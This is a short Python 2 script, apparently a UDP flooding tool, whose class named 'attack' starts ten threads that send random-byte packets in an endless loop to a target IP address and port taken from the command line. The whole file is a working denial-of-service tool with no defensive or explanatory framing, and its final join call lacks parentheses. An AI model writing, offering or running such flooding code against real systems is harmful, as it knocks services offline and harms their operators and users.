#-*- coding:utf-8 -*-
import socket
import threading
import random
import sys
class attack(threading.Thread):
def __init__(self, ip, port, psize):
threading.Thread.__init__(self)
#super(attack, self).__init__()
self.ip = ip
self.port = port
self.psize = psize
def run(self):
print "Thread initiated, flooding" + self.ip + ":" + str(self.port) + "."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(self.psize)
while True:
sock.sendto(bytes, (self.ip, self.port))
if __name__ == "__main__":
THD = 10
ths = []
ip = sys.argv[1]
port = int(sys.argv[2])
psize = int(sys.argv[3])
for i in range(THD):
ths.append(attack(ip, port, psize))
ths[-1].start()
for i in ths:
i.join